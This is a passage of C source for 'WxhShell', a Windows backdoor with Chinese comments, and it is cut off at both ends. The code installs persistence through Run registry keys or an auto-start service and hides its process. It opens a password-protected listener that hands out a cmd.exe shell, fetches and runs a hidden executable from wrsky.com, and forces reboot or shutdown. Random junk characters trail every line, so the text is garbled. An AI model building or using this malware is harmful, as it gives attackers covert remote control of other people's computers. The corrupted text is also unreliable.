    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jy'ge4]3  
    if(Boot(SHUTDOWN)) H!Y`?Rc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *'+OA6  
    else { Gd)@PWK  
    closesocket(wsh); BJ3st  
    ExitThread(0); 29K09 0f  
    } D?rQQxb  
    break; R>"E Xq  
    } " }@QL`  
  // 获取shell z.g'8#@  
  case 's': { :\Z;FA@g(g  
    CmdShell(wsh); {m9OgR5U  
    closesocket(wsh); &0O1tM*v  
    ExitThread(0); 5Qp5JMK  
    break; b|T}mn  
  } oJK]oVX9i  
  // 退出 5=g{%X  
  case 'x': { "v-\nAu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qoBm!|q  
    CloseIt(wsh); im^G{3z  
    break; yV :DR  
    } vrsO]ctI  
  // 离开 +MKr.k2  
  case 'q': { uXuMt a* Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ys10r-kDS  
    closesocket(wsh); +XU*NAD,!  
    WSACleanup(); NYD#I{h  
    exit(1); [{_JO+)+n  
    break; CTt3W>'=+  
        } 06I'#:]  
  } *1V}vJvi  
  } {A4"KX(U  
A%n l@`s,  
  // 提示信息 #.0^;M5Nh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M'D;2qo  
} c"%XE#D  
  } 2.Ym  
hq/k}Y  
  return; 6hSj)  
} SX|b0S,  
$kJvPwRO  
// shell模块句柄 GLA,,i'i9  
int CmdShell(SOCKET sock) @R>4b  
{ +nRO<  
STARTUPINFO si; mq~7v1kw  
ZeroMemory(&si,sizeof(si)); u>H^bCXI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w,]cFT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,,oiL  
PROCESS_INFORMATION ProcessInfo; Vw=eC"  
char cmdline[]="cmd"; =^4 vz=2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )'M<q,@<(  
  return 0; mFOuE5  
} *J@2A)ZDv0  
7Xv.C&jzd  
// 自身启动模式 AFL*a*  
int StartFromService(void) qgw:Q  
{ /ocdAW`0  
typedef struct +Ij>\;vM"  
{ XU.ZYYZ=  
  DWORD ExitStatus; 38 Lc|w  
  DWORD PebBaseAddress; Zb`}/%\7  
  DWORD AffinityMask; w :Fes  
  DWORD BasePriority; RX:\@c&  
  ULONG UniqueProcessId; n.,\Z(l|0  
  ULONG InheritedFromUniqueProcessId; z>NRvx0  
}   PROCESS_BASIC_INFORMATION; b&p*IyJR  
.hlr)gF&)  
PROCNTQSIP NtQueryInformationProcess; 'OSZ'F3PV  
|UM':Ec  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3*64)Ol7t]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0R<@*  
nCEt*~t9VE  
  HANDLE             hProcess; FJo N"X  
  PROCESS_BASIC_INFORMATION pbi; It!%/Y5  
=0`"T!1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]7v-qd  
  if(NULL == hInst ) return 0; r#rQ3&Vn  
#b []-L!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ? )-*&1cv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eh nN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (7`&5m d  
|h(!CFR  
  if (!NtQueryInformationProcess) return 0; 7Q} P}9n  
#\iQ`Q<B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u&".kk  
  if(!hProcess) return 0; |vA3+kG  
~\}%6W[2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S0 M-$  
^]^Y~$u  
  CloseHandle(hProcess); nX<!n\J T  
n NZq`M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $zbm!._~DA  
if(hProcess==NULL) return 0; j/wG0~<kz  
\dCoY0Z ;  
HMODULE hMod; iN5~@8jAzz  
char procName[255]; eI8^T?  
unsigned long cbNeeded; H:4r6-{  
4VSIE"8e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %Vrl"4^}t  
lh3%2Dq$  
  CloseHandle(hProcess); s#?Y^bgH  
#Qc[W +%  
if(strstr(procName,"services")) return 1; // 以服务启动 f8_5.vlw  
YMad]_XOP  
  return 0; // 注册表启动 )!hDF9O  
} ]3xnq<  
fXvJ3w(  
// 主模块 TLl*gED  
int StartWxhshell(LPSTR lpCmdLine) S *?'y  
{ aePhtQF  
  SOCKET wsl; %JBp~"  
BOOL val=TRUE; {_|~G|Z  
  int port=0; }k7@ X  
  struct sockaddr_in door; SoS[yr  
~<Uwum v  
  if(wscfg.ws_autoins) Install(); '81$8xxdY  
,sP7/S)FR  
port=atoi(lpCmdLine); qbu Lcy3  
m*  |3  
if(port<=0) port=wscfg.ws_port; {l.) *#O  
1$?O5.X:  
  WSADATA data; 5W>i'6*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tn+i5Eso  
A5z`_b4f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K=M5d^K<E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g&O%qX-  
  door.sin_family = AF_INET; 5R?iTB1,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G<9MbMG  
  door.sin_port = htons(port); FgrOZI;_  
#?YQ&o~gZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9yajtR  
closesocket(wsl); DoX#+ 07u4  
return 1; i>_V?OT#5  
} +*a:\b" fx  
z(i B$;M  
  if(listen(wsl,2) == INVALID_SOCKET) { \evK.i*KfA  
closesocket(wsl); b)(#/}jMkD  
return 1; @G^]kDFM{  
}  r75,mX  
  Wxhshell(wsl); \A*#a9"  
  WSACleanup(); c_x6FoE;L  
F'*y2FC  
return 0; ;gTdiwfgZ=  
<tMiI)0%  
} sKB])mf]  
zPWG^  
// 以NT服务方式启动 >1T=Aw2Z.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C]K@SN$   
{ 2TmQaDu%b  
DWORD   status = 0; )}9Ef"v|  
  DWORD   specificError = 0xfffffff; ^, q\S  
L 9Z:>i?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L qMH]W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;XSV}eLu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }ARWR.7Cc  
  serviceStatus.dwWin32ExitCode     = 0; #n]js7  
  serviceStatus.dwServiceSpecificExitCode = 0; 'D-eFJ5  
  serviceStatus.dwCheckPoint       = 0; xV}E3Yj2#  
  serviceStatus.dwWaitHint       = 0; !3v!BJ#+,&  
}?$d~]t)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y+_G L=J  
  if (hServiceStatusHandle==0) return; tcSn`+Bu_`  
+IK~a9t  
status = GetLastError(); SWY?0Pu  
  if (status!=NO_ERROR) 0rxlN [Yp  
{ L:IaJ?+?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5Z ] `n  
    serviceStatus.dwCheckPoint       = 0; ]$Ky ZHj{  
    serviceStatus.dwWaitHint       = 0; Z+' 7c|a  
    serviceStatus.dwWin32ExitCode     = status; CA7tI >y_  
    serviceStatus.dwServiceSpecificExitCode = specificError; =&U JFu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ':R)i.TS  
    return; [~` ; .7~  
  } _]E"hr6a  
\kF}E3~+#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (zwxrOS  
  serviceStatus.dwCheckPoint       = 0; n AQB  
  serviceStatus.dwWaitHint       = 0; *Tl"~)'t~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,oT?-PC$z  
} K%[Rv#>;q|  
MIub^ $<C  
// 处理NT服务事件,比如:启动、停止 z `T<g!Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _FeLSk.  
{ w[I%Id;E  
switch(fdwControl) R{NmWj['Mg  
{ (^ZC8)0i(  
case SERVICE_CONTROL_STOP: Nj1vB;4Nx  
  serviceStatus.dwWin32ExitCode = 0; Dp8YzWL2^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; { .B^  
  serviceStatus.dwCheckPoint   = 0; y)t< r  
  serviceStatus.dwWaitHint     = 0; Q%o ]&Hdn  
  { <:-|>R".  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lRi-?I| ~9  
  } v}Gq.(b  
  return; Sir7TQ4B  
case SERVICE_CONTROL_PAUSE: Q!7Er  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,}2M'DSWa  
  break; G5|xWeNgA  
case SERVICE_CONTROL_CONTINUE: ;+>-uPT/1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PPU,o8E+  
  break; ~e@ QJ=r  
case SERVICE_CONTROL_INTERROGATE: l}j5EWe  
  break; S) Sv4Qm  
}; A-aukJg9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G#ZU^%$M,  
} ^*#5iT8/  
DPw"UY:  
// 标准应用程序主函数 TFb9gOTJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ytmt+9  
{ 9n]z h-  
'*MNRduE6  
// 获取操作系统版本  Aa[p7{e  
OsIsNt=GetOsVer(); i=OPl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m]R< :_  
u3(zixb  
  // 从命令行安装 8G`fSac`  
  if(strpbrk(lpCmdLine,"iI")) Install(); a)^f`s^aa  
*>h"}e41  
  // 下载执行文件 U2\g Kg[-Q  
if(wscfg.ws_downexe) { >KH.~Jfy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cW4:eh  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1`)ie%=  
} Z@>hN%{d+g  
75v 5/5zRn  
if(!OsIsNt) { 7pH(_-TF  
// 如果时win9x,隐藏进程并且设置为注册表启动 6T! *YrS  
HideProc(); AWsO? |YT  
StartWxhshell(lpCmdLine); IeLG/ fB  
} \`}Rdr!p%  
else N`1:U 4}  
  if(StartFromService()) |&eZ[Sy(=l  
  // 以服务方式启动 bq/ m?;  
  StartServiceCtrlDispatcher(DispatchTable); /.9j$iK#  
else B!0o6)u'  
  // 普通方式启动 E;.<'t>  
  StartWxhshell(lpCmdLine); N3 .!E|  
OJPx V~y  
return 0; X<dQq`kZ  
} 6*8"?S'  
NNLZ38BV7  
w vBx]$SC  
secD ` ]  
=========================================== xy)Y)yp  
jq:FDyOAW  
PeGA+0bm  
j&,,~AZm  
bRT1~)  
xpCzx=n3.m  
" = Ryh@X&  
s\y+ xa:  
#include <stdio.h> T;K@3]FbX  
#include <string.h> LsH&`G^<  
#include <windows.h> F^.w:ad9<  
#include <winsock2.h> j hf%ze  
#include <winsvc.h> "| cNY_$&s  
#include <urlmon.h> Zz}Wg@&  
yqR2^wZ%r  
#pragma comment (lib, "Ws2_32.lib") 4XpW#>  
#pragma comment (lib, "urlmon.lib") C"}CD{<H]M  
!)gTS5Rh:  
#define MAX_USER   100 // 最大客户端连接数 ^0vK >  
#define BUF_SOCK   200 // sock buffer 0NrUB  
#define KEY_BUFF   255 // 输入 buffer |YCGWJaci  
H~IR:WOw  
#define REBOOT     0   // 重启 {U@&hE -  
#define SHUTDOWN   1   // 关机 lVF}G[B  
,{==f7|w  
#define DEF_PORT   5000 // 监听端口 *`$Y!uzG:\  
q-gp;Fm  
#define REG_LEN     16   // 注册表键长度 d S]TTU1  
#define SVC_LEN     80   // NT服务名长度 ,l/~epx4v)  
hG51jVYtw  
// 从dll定义API L c4\i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YHBH9E/B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j_H"m R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g(Q)fw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q2 K@i*s  
dd1CuOd6(1  
// wxhshell配置信息 :U;n?Zu S  
struct WSCFG { Y~z3fd  
  int ws_port;         // 监听端口 Ua0fs|t1v  
  char ws_passstr[REG_LEN]; // 口令 K;kaWV  
  int ws_autoins;       // 安装标记, 1=yes 0=no )y>o;^5'  
  char ws_regname[REG_LEN]; // 注册表键名 xPMTmx?2  
  char ws_svcname[REG_LEN]; // 服务名 v0uDL7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -OV:y],-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6[3oOO:uo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \yt-_W=[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Sl,X*[HGd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mj&`Y gW5a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r:pS[f|4\  
Mbbgsy3W  
}; `! ~~Wf'  
v:/+Oz Y  
// default Wxhshell configuration JxI\ss?O  
struct WSCFG wscfg={DEF_PORT, 1 EE4N\  
    "xuhuanlingzhe", 3sr> ?/>:  
    1, `;KU^dH  
    "Wxhshell", :yg:sU  
    "Wxhshell", PP/EZ^]b  
            "WxhShell Service", PF=BXY1<UL  
    "Wrsky Windows CmdShell Service", qyi5j0)W  
    "Please Input Your Password: ", cHqT1EY  
  1, >f)/z$ qn  
  "http://www.wrsky.com/wxhshell.exe", DD 8uG`<  
  "Wxhshell.exe" Cg{V"B:  
    }; D1w;cV7/d  
lO^Ly27  
// 消息定义模块 y[QQopy4:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2stBW5v3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ((KNOa5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <zd_-Ysn  
char *msg_ws_ext="\n\rExit."; abog\0  
char *msg_ws_end="\n\rQuit."; %#5\^4$z|N  
char *msg_ws_boot="\n\rReboot..."; Dsq_}6l{  
char *msg_ws_poff="\n\rShutdown..."; D*7JE  
char *msg_ws_down="\n\rSave to "; Y)~Y;;/G  
Y:o\qr!Y  
char *msg_ws_err="\n\rErr!"; >4I,9TO  
char *msg_ws_ok="\n\rOK!"; Gg'sgn   
JH3$G,:zM  
char ExeFile[MAX_PATH]; |5J'`1W  
int nUser = 0; Vyy;mEBg  
HANDLE handles[MAX_USER]; KmF" Ccc  
int OsIsNt; ,q9nHZG^  
OYnxEdo7  
SERVICE_STATUS       serviceStatus; o>Fc.$ngZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RWyDX_z#<  
Vo1,{"k  
// 函数声明 VycC uq&M  
int Install(void); )w.+( v(  
int Uninstall(void); f3r\X  
int DownloadFile(char *sURL, SOCKET wsh); ;/-v4  
int Boot(int flag); {tS^Q*F  
void HideProc(void); "&$ [@c  
int GetOsVer(void); y $i^C:N  
int Wxhshell(SOCKET wsl); 0)<\jo1 F  
void TalkWithClient(void *cs); `O5 Hzb(}  
int CmdShell(SOCKET sock); q,Oj  
int StartFromService(void); 7TDt2:;]  
int StartWxhshell(LPSTR lpCmdLine); R'Gka1v  
VkFvV><"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MTnW5W-r9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #6g9@tE  
>z{*>i,m1  
// 数据结构和表定义 l]g /rs  
SERVICE_TABLE_ENTRY DispatchTable[] = \\ZR~f!<  
{ Rgstk/1  
{wscfg.ws_svcname, NTServiceMain}, 0`WjM2So  
{NULL, NULL} tO?NbWcp  
}; 6YErF|  
8|]r>L$Wk  
// 自我安装 o7 :~C]  
int Install(void) RN, 5>.w  
{ 5Z8Zb.  
  char svExeFile[MAX_PATH]; +qPpPjG;  
  HKEY key; ,\){-H/n  
  strcpy(svExeFile,ExeFile); J#1-Le8@  
C0f<xhp?j  
// 如果是win9x系统,修改注册表设为自启动 Bqcih$`BVU  
if(!OsIsNt) { cd&^ vQL8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ON,sN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :| s  
  RegCloseKey(key); #'5C*RO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9+irf^D`O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OBnf5*eJ  
  RegCloseKey(key); !xE /  
  return 0; _cRCG1CJ  
    } TTYM!+T  
  } X mmb^2I  
} ,(&p "O":  
else { wOMrUWB0  
|2L|Zp&  
// 如果是NT以上系统,安装为系统服务 FR BW(vKE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  v|K,  
if (schSCManager!=0) !g`^<y!  
{ 54lU~ "  
  SC_HANDLE schService = CreateService kT@m*Etr{  
  ( DPWt=IFU  
  schSCManager, l1M %   
  wscfg.ws_svcname, AfAlDM'  
  wscfg.ws_svcdisp, Vx Vpl@  
  SERVICE_ALL_ACCESS, (^{tu89ab  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , thU9s%,  
  SERVICE_AUTO_START, =00c1v  
  SERVICE_ERROR_NORMAL, ^y,Ex;6o  
  svExeFile, c 5%uiv]  
  NULL, X[SdDYMY  
  NULL, >P<8E2}*  
  NULL, S^8C\ E  
  NULL, VYR<x QA  
  NULL ]\JLlQ}#H  
  ); hR4\:s+[  
  if (schService!=0) .S_7R/2(?  
  { VxP cC+  
  CloseServiceHandle(schService); t6,bA1*5y  
  CloseServiceHandle(schSCManager); cko^_V&x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wB(X(nr  
  strcat(svExeFile,wscfg.ws_svcname); !&eKq?P{j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7Mj:bm&9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M1mx{<]A  
  RegCloseKey(key); {py"Ob_  
  return 0; {`ghX%M(l  
    } YAdk3y~pL  
  } /g`!Zn8a  
  CloseServiceHandle(schSCManager); &FpoMW  
} /Kd9UQU  
} ?~:4O}5Ax  
uGc0Lv4i/  
return 1; 1PN!1=F}  
} ke)}JU^"  
@zC p/fo3  
// 自我卸载 d:vuRK4+  
int Uninstall(void) S{Q2KD  
{ 7W MF8(j5  
  HKEY key; nb~592u  
U[R[VY7  
if(!OsIsNt) { n1Wo<$#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v[2N-  
  RegDeleteValue(key,wscfg.ws_regname); '8"nXuL-  
  RegCloseKey(key); eY V Jk7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z 0}JiWR  
  RegDeleteValue(key,wscfg.ws_regname); D#k ~lEPub  
  RegCloseKey(key); u~~H'*EM  
  return 0; =j"bLX6;  
  } `9Rj;^NJ  
} \zT{zO&!  
} KaIkO8Dq0  
else { 5-RA<d#  
%HD0N&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); | 9 <+!t\  
if (schSCManager!=0) 1KadT7<0}  
{ @$|8zPs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "(YfvO+  
  if (schService!=0) #z5$_z?_  
  { 4M )oA|1w  
  if(DeleteService(schService)!=0) { $vLGX>H  
  CloseServiceHandle(schService); 98rO]rg  
  CloseServiceHandle(schSCManager); RI3GAd  
  return 0;  u*m|o8  
  } d6XdN  
  CloseServiceHandle(schService); j0~ dJ#  
  } GboZ T68  
  CloseServiceHandle(schSCManager); [y&uc  
} <dKHZ4  
} .O&[9`"'  
xdgbs-a)  
return 1; '!"rE1e  
} ;w<r/dK   
O9P4r*prA  
// 从指定url下载文件 0<)Ep~!  
int DownloadFile(char *sURL, SOCKET wsh) [85b+SKW  
{ emMk*l,  
  HRESULT hr; lyzM?lK-  
char seps[]= "/"; .3CQFbHF  
char *token; `$Y%c1;  
char *file; (-Qr.t_B`  
char myURL[MAX_PATH]; Rr0]~2R  
char myFILE[MAX_PATH]; O& 1z-  
8wLGmv^  
strcpy(myURL,sURL); j 6dlAe  
  token=strtok(myURL,seps); wD92Ava   
  while(token!=NULL) c{3P|O&.  
  { 7?ILmYBw  
    file=token; ?P;=_~X  
  token=strtok(NULL,seps); u)[i'ceQZ:  
  } 4*9BAv  
jG%J.u^k  
GetCurrentDirectory(MAX_PATH,myFILE); ()ww9L2  
strcat(myFILE, "\\"); T}jW,Ost  
strcat(myFILE, file); MP p    
  send(wsh,myFILE,strlen(myFILE),0); |)OC1=As  
send(wsh,"...",3,0); l:OXxHxRi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o0_H(j?  
  if(hr==S_OK) n(9$)B_y  
return 0; ~cf)wrP  
else ul{D)zm\D  
return 1; &],O\TAul  
Jow{7@FG  
} D^S"6v" z  
(@NW2  
// 系统电源模块 c1xX)cF  
int Boot(int flag) kvN<o-B  
{ Xb@dQRVX  
  HANDLE hToken; +bk+0k9k5  
  TOKEN_PRIVILEGES tkp; xD9ZL  
{8556>\~  
  if(OsIsNt) { ybv]wBpM:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >@EwfM4[e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }_D{|! !!T  
    tkp.PrivilegeCount = 1; &MBm1T|Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j>3Fwg9V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bsc#Oq]  
if(flag==REBOOT) { [W99}bi$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \j4!dOGZ  
  return 0; d*$x|B|V  
} @QDUz>_y  
else { SC--jhDZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  USJ4Z  
  return 0; 8l<~zIoO  
} ;?Q0mXr  
  } v 8TNBsEL  
  else { v}=pxWhm  
if(flag==REBOOT) { S[CWrPaDQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g&\;62lV%  
  return 0; (!a\23  
} _ucixM#  
else { ^97[(89G9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ky*xAx:  
  return 0; ,=2)1I]  
} dKmPKeJM  
} Lr Kx  
!Pu7%nV.  
return 1; \==Mgy2J8  
} ~ujg250.L  
X{iidTW`xv  
// win9x进程隐藏模块 @ev^e !B  
void HideProc(void) +&* >FeJY  
{ a YY1*^  
iZ0.rcQj'o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KP!7hJhw  
  if ( hKernel != NULL )  nyZ?m  
  { ~Fo`Pr_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @"iNjqxh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z'zC  
    FreeLibrary(hKernel); r#d]"3tH  
  } Xy9'JVV6  
7'5/T]Z  
return; d;a"rq@a)  
} 7o-}86x#  
J?Rp  
// 获取操作系统版本 V/ZWyYxjLi  
int GetOsVer(void) @^`5;JiUk  
{ xzRC %  
  OSVERSIONINFO winfo; 6wb M$|yFj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nTsPX Tat  
  GetVersionEx(&winfo); 3]>YBbXvE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }'\M}YM  
  return 1; E8o9ufj3  
  else Y3xEFqMU  
  return 0; 8g/r8u~  
} R!WeSgKCs  
cSj(u%9}  
// 客户端句柄模块 SNV;s,  
int Wxhshell(SOCKET wsl) mN#&NA  
{ K4^B~0~  
  SOCKET wsh; ?hW(5]p|  
  struct sockaddr_in client; '=IuwCB|;  
  DWORD myID; G+iJS!=  
B,Jn.YX  
  while(nUser<MAX_USER) 6,]2;'  
{ wDs#1`uTq  
  int nSize=sizeof(client); ~'):1}KN]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'v@1_HHW\  
  if(wsh==INVALID_SOCKET) return 1; ;e~K<vMm;y  
o#IWH;ck.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vw` '9~  
if(handles[nUser]==0) 3iiOxg?j  
  closesocket(wsh); hflDVGBW  
else +7K]5p;!~  
  nUser++; *oIKddZh  
  } OmP(&t7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B^hK  
7p18;Z+6>X  
  return 0; *kDV ^RBfq  
} Q1 vse  
6:\z8fYD  
// 关闭 socket _[ `"E'  
void CloseIt(SOCKET wsh) 98WJ"f_ #  
{ !v3wl0  
closesocket(wsh); 4W+nS v  
nUser--; gwYTOs ^  
ExitThread(0); g: "Hg-s  
} wD[qE  
hpticW|  
// 客户端请求句柄 >2)!w  
void TalkWithClient(void *cs) z yI4E\  
{ x[%% )[d  
;}k_2mr~  
  SOCKET wsh=(SOCKET)cs; X .S8vlb4z  
  char pwd[SVC_LEN]; zdDJcdbGd1  
  char cmd[KEY_BUFF]; !?)iP  
char chr[1]; W/;qMP1"-  
int i,j; "( ?[$R  
wT\dzp>/  
  while (nUser < MAX_USER) { F^');8~L  
@yjui  
if(wscfg.ws_passstr) { ;Y16I#?;Kh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t,;b*ZR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jdVdz,Y  
  //ZeroMemory(pwd,KEY_BUFF); j! cB  
      i=0; wmPpE_ {  
  while(i<SVC_LEN) { JGk,u6K7  
)^'wcBod,  
  // 设置超时 ZZ6F0FLXJ  
  fd_set FdRead; 9$'Edi=6  
  struct timeval TimeOut; =j~}];I  
  FD_ZERO(&FdRead); o r]s  
  FD_SET(wsh,&FdRead); on1mu't_;  
  TimeOut.tv_sec=8; K#p&XIY,  
  TimeOut.tv_usec=0; FdJC@Y-#uA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?|Mmz@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Py,@or7n  
?jzadCel  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cl-i6[F  
  pwd=chr[0]; }(XvI^K[^  
  if(chr[0]==0xd || chr[0]==0xa) { c[0$8F>  
  pwd=0; z'X_ s.9F  
  break; :ui1]its4  
  } N:/$N@"Ge  
  i++; **O4"+Xi8  
    } H\!u5o&}`  
cjO,#W0&f  
  // 如果是非法用户,关闭 socket [G|2m_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IN]bAd8"  
} 4B}w;d@R  
,@ Cru=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $RSVN?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z*>CP  
cWM|COXL+  
while(1) { I@q>ES!1H  
O"9f^y*  
  ZeroMemory(cmd,KEY_BUFF); Z_Ma|V?6  
;7<a0HZ5!  
      // 自动支持客户端 telnet标准   j|(bDa4\  
  j=0; ArU>./)Q  
  while(j<KEY_BUFF) { BmUzsfD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xc5[d`]  
  cmd[j]=chr[0]; :<IW'  
  if(chr[0]==0xa || chr[0]==0xd) { ikRIL2Y  
  cmd[j]=0; |,&!Q$<un  
  break; RN:#+S(8  
  } *id|za|:k  
  j++; {UZli[W1  
    } h?YjG^'9  
TJ5{Ee GV  
  // 下载文件 A?|cJ"N  
  if(strstr(cmd,"http://")) { :7>Si%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1y"37;x  
  if(DownloadFile(cmd,wsh)) cCV"(Oo[H|  
